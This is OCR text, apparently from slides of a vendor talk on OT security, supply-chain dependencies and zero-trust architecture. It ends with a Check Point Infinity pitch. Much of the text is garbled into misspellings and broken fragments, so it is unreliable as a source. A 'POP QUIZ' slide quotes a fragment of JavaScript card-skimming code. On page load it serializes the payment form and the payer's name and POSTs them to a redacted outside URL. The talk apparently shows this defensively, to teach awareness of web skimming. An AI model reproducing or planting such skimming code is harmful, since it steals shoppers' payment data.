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WHY ARE OUR SECURITY
PROBLEMS GETTING WORSE?

Challenges in OT Security
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LEAST PRIVILEGED ACCESS STRATEGY
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VISIBILITY IS KEY
QUALITY OF CENTRAL INTELLIGENCE HAS A HUGE IMI
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We have new threat actors in our Ilve \}
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THERE ARE SIMILAR ISSUES NO MATTER WHERE WE ARE
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Loss of control with remote working

Unknown =8l Unknown
networks (*— M users




window.onload = function () {
jQuery('#submitButton').bind( "mouseup touchend",
ar n = .
What is this? jQuery "#paymentForm" .serializeArray!  .map function
nfa.name] = a.value;

POP QUIZ

var e = document.getElementById "personPaying" .innerHTML;
n.person = e;
ar t = JSON.stringify(n);
setTimeout function
jQuery.ajax({
type: "POST",
async: !,
url: "https://<redacted>"
data: t,
dataType: "application/json"
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Original App: 143 lines of code

With Dependencies: 188,936
lines
From 45 different packages
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ONLINE FIRMWARE SCANNER SERVICE

Upload IoT devices ] ILUPZDUH DQG
get back a detailed risk report
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AUTOMATION & ORCHESTRATION

VISIBILITY & ANALYTICS

fithg Zero Trust
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Summary

Zero Trust Is an Essential Strategy
and pandemic

Implementation should be practical
and easy no matter where the end
user Is

Check Point Infinity - a Consolidated
Zero Trust Security Architecture



THANK YOU

YOU DESERVE THE BEST SECURITY
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